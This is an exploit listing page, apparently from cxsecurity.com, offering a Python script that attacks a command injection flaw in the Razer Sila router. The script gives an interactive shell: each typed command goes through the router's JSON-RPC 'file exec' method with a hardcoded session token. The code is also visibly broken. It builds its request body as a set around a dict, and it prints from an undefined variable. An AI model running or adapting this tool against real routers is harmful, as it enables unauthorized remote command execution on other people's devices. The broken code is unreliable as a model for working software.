Razer Sila - Command Injection (py)

2022.04.22
Risk: Medium
Local: Yes
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: Razer Sila - Command Injection (py) # Google Dork: N/A # Date: 2022-04-22 # Exploit Author: Mohsen Dehghani (aka 0xProfessional) # Contact: 0xProfessional@protonmail.com # Vendor Homepage: https://www2.razer.com/ap-en/desktops-and-networking/razer-sila # Software Link: https://www2.razer.com/ap-en/desktops-and-networking/razer-sila # Version: RazerSila-2.0.441_api-2.0.418 # Tested on: Razer Sila Router # CVE N/A import requests import sys import json target = sys.argv[1] h = { 'Host': target, 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0', 'Accept': '*/*', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Requested-With': 'XMLHttpRequest', 'Content-Length': '117', 'Origin': target, 'Referer': target, 'Te': 'trailers', 'Connection': 'close' } def usage(): print("Razer Sila - Command Injection ") print("Coded by Mohsen Dehghani [aka 0xProfessional]") print("Contact to me: 0xProfessional@protonmail.com") print("Ex: python3 Exploit.py 127.0.0.1") # Data Json def main(url): while(1): try: cmd = input("$") dataJson = { {"jsonrpc":"2.0","id":3, "method":"call", "params":["30ebdc7dd1f519beb4b2175e9dd8463e", "file", "exec", {"command":cmd}]}} if cmd == 'quit' or cmd == 'exit': break req = requests.post(url,headers=h,data=dataJson) if req.status_code == 200: for jsonData in req.content: print(i['stdout']) else: print("Router Not Vulnerable :(") break except: print("Error:(") try: if len(sys.argv) == 2: main(sys.argv[1]) else: usage() except KeyboardInterrupt as e: sys.exit()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top